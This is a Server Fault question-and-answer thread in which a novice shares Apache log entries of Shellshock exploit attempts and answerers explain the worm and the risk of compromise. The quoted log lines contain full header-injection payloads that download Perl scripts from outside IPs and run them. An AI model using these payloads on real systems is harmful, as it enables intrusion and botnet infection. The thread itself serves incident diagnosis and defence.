1

I newbie to web programming, so I setup an apache2 sever for my practice.

It seems that someone succeeded to hack my apache server. I have notice in my access.log the following line:

81.169.174.52 - - [22/Jan/2015:17:24:39 +0200] "GET /cgi-bin/contact.cgi HTTP/1.1" 200 1531 "-" "() { :;};/usr/     bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://202.191.121.230/ou.pl      -O /tmp/b.pl;curl -O /tmp/b.pl http://202.191.121.230/ou.pl;perl /tmp/b.pl;rm -rf /tmp/b.pl*\");'"

and also this one:

80.92.84.168 - - [22/Jan/2015:18:21:08 +0200] "GET /phppath/cgi_wrapper HTTP/1.0" 200 3360 "-" "() { :;};/usr/bin/perl -e 'print      \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESSX\";system(\"wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm -     rf /tmp/bot.pl\");'"

It seems that they already succeeded to hack, according to HTTP-200, means the request granted.

When i try to 'track' the command in the request(by executing each command manually):

system(\"wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm - rf /tmp/bot.pl\");'"

I can see that i succeed to download the file 'bot.txt'. when i open the 'bot.txt' file and saw its a perl script. I am not a perl monk but I can see that its 'forking' other process which each try to open ports to other servers. also saw a function inside the code which try to search for open ports in my station.

My questions:

  • someone know this issue ?
  • how can I configure my apache2.conf to prevent such hacking ?

Thx

YyYo
  • 113
  • 1
  • 4
  • How do you know they succeeded? – Michael Hampton Jan 22 '15 at 20:40
  • 1
    I really really hope, you didnt' execute ALL the commands. `perl /tmp/bot.pl` starts the malware - if you did that, you're compromised even if you're not vulnerable to shellshock! – r_3 Jan 23 '15 at 16:00
  • No I just wget the file and vi it. I did update the bash command according to your post, but I should 're-install' my OS to me save that i'm not compromised. – YyYo Jan 23 '15 at 20:11

2 Answers2

4

The attacker is attempting to exploit the Bash Shellshock vulnerability. You can verify whether or not you're vulnerable with a couple simple command-line tests (which by themselves are not harmful), already covered in another SF post:

Your logs show that they returned 200 HTTP status codes, indicating that Apache serviced both requests without error. Had either contact.cgi or cgi_wrapper failed, I would have expected Apache to return a 500 (internal server error) status code instead. This suggests that both scripts at least attempted the Shellshock exploit.

If you are able to determine that you have a vulnerable version of Bash on your system, then I think it's likely that the ou.pl and bot.pl scripts were indeed downloaded and executed on your system. Given that, you should not make any assumptions about the system's integrity, because there's really no way to know what may have been done after the initial break-in. How you handle this is something you will have to determine on your own, but there are some good suggestions in this SF question:

Community
  • 1
James Sneeringer
  • 6,755
  • 23
  • 27
  • 1
    Good answer, but the status code doesn't necessarily mean anything: if you use a CGI module (eg. mod_cgi) AND have a vulnerable version of bash, you might be vulnerable, even if the HTTP status is not 200. The status code only means, that the script requested exists and it had it completed without an error. – r_3 Jan 23 '15 at 15:59
  • @r_3 I don't think I was very clear. What I was trying to get across was what you said. HTTP status code 200 means the scripts completed without error, and if that's the case, then they likely at least attempted the Shellshock exploit. I'll update my answer to make this more clear. – James Sneeringer Jan 23 '15 at 16:19
-2

This is a classical Shellshock spreading worm.

If vulnerable, it download a .txt file (which is a downloader), run it, download a .tar file, extract it, run the inside binary which is a rootkit and a scanner.

Here a quick study of this behavior : what-a-real-shellshock-attack-looks-like

Mike.

Mike
  • 1
  • 2